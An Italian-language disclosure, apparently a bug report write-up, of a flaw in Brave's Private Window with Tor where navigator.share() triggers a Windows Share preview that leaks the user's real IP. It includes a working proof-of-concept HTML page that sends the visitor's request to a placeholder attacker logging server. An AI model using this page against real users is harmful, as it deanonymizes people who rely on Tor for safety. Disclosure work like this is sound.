Oggi analizzeremo nel dettaglio una vulnerabilità di privacy che abbiamo trovato nel 2025 in Brave Browser nella Finestra Privata con Tor, dove l’indirizzo IP reale dell’utente viene fatto trapelare quando si utilizza la Web API navigator.share().

L’indirizzo IP reale dell’utente viene fatto trapelare quando si utilizza la Web API navigator.share() all’interno di una Finestra Privata con Tor. L’attivazione della funzionalità di condivisione apre l’interfaccia nativa di Windows Share, che tenta poi di recuperare un’anteprima del link dell’URL condiviso. Questa richiesta di anteprima viene effettuata tramite la connessione di rete reale dell’utente, aggirando completamente il proxy Tor e deanonimizzando l’utente nei confronti del server che ospita l’URL.

Un sito web malevolo può sfruttare questo comportamento ingannando l’utente e spingendolo a cliccare su un pulsante di condivisione, causando l’invio dell’IP reale dell’utente a un server controllato dall’attaccante. Questa vulnerabilità mina la promessa di privacy fondamentale dell’integrazione Tor di Brave.

Prodotti interessati

  • Brave Browser: v1.81.136 & ultima nightly al 27/08/2025
  • Sistema Operativo: Windows 11 (probabilmente interessa anche Windows 10)
  • Funzionalità: Finestra Privata con Tor

Passi per riprodurre

  1. Configurazione dell’attaccante: Avviare un semplice server web su un indirizzo IP pubblico (<TUO_SERVER_IP>) che registri tutte le richieste HTTP in arrivo e i relativi indirizzi IP di origine.
  2. Pagina dell’attaccante: Creare una semplice pagina HTML con un pulsante che attiva navigator.share(), puntando al server del passaggio 1.
<!DOCTYPE html>
<html>
<head>
    <title>Share Test</title>
</head>
<body>
    <button id="shareButton">Share Me</button>
    <script>
        document.getElementById('shareButton').addEventListener('click', async () => {
            try {
                await navigator.share({
                    title: 'Test',
                    text: 'Check out this page.',
                    url: 'http://<TUO_SERVER_IP>/REALIP/' // URL che punta al tuo server di logging
                });
                console.log('Shared successfully');
            } catch (err) {
                console.error('Share failed:', err.message);
            }
        });
    </script>
</body>
</html>
  1. Azione della vittima: Aprire Brave Browser e aprire una nuova Finestra Privata con Tor.
  2. Nella finestra Tor, navigare alla pagina HTML creata nel passaggio 2.
  3. Cliccare il pulsante “Share Me”. Apparirà l’interfaccia nativa di Windows Share.
  4. Verifica: Controllare i log sul proprio server web dal passaggio 1. Si vedrà una richiesta in arrivo per /REALIP/ dall’indirizzo IP reale dell’utente, non da un nodo di uscita Tor.

Risultato atteso

La finestra di condivisione non dovrebbe generare alcuna anteprima del link, oppure dovrebbe recuperare il contenuto dell’anteprima tramite la connessione Tor attiva per preservare l’anonimato dell’utente. Nessuna richiesta di rete dovrebbe originarsi dall’indirizzo IP reale dell’utente.

Risultato effettivo

L’interfaccia di Windows Share viene invocata ed effettua una richiesta di rete diretta all’URL specificato per generare un’anteprima avanzata. Questa richiesta aggira il proxy Tor di Brave, facendo trapelare l’indirizzo IP reale dell’utente verso il server di destinazione.

Materiale di supporto / Riferimenti

La causa principale di questa vulnerabilità è che l’implementazione di navigator.share() passa l’URL al meccanismo di condivisione del sistema operativo sottostante. Questo componente a livello di sistema operativo (la Windows Shell) non è a conoscenza del proxy Tor del browser né è configurato per utilizzarlo per le proprie richieste di rete. Opera al di fuori dell’ambiente di rete sandboxato del browser, effettuando quindi una connessione diretta.

Impatto

L’impatto di questa vulnerabilità è grave in quanto fa trapelare direttamente l’indirizzo IP reale dell’utente.

Questo deanonimizza completamente l’utente e vanifica lo scopo principale dell’utilizzo di una Finestra Privata con Tor. Qualsiasi sito web può sfruttare questo comportamento per identificare un utente che crede che la propria connessione sia anonima, compromettendo fondamentalmente la garanzia di privacy principale della funzionalità.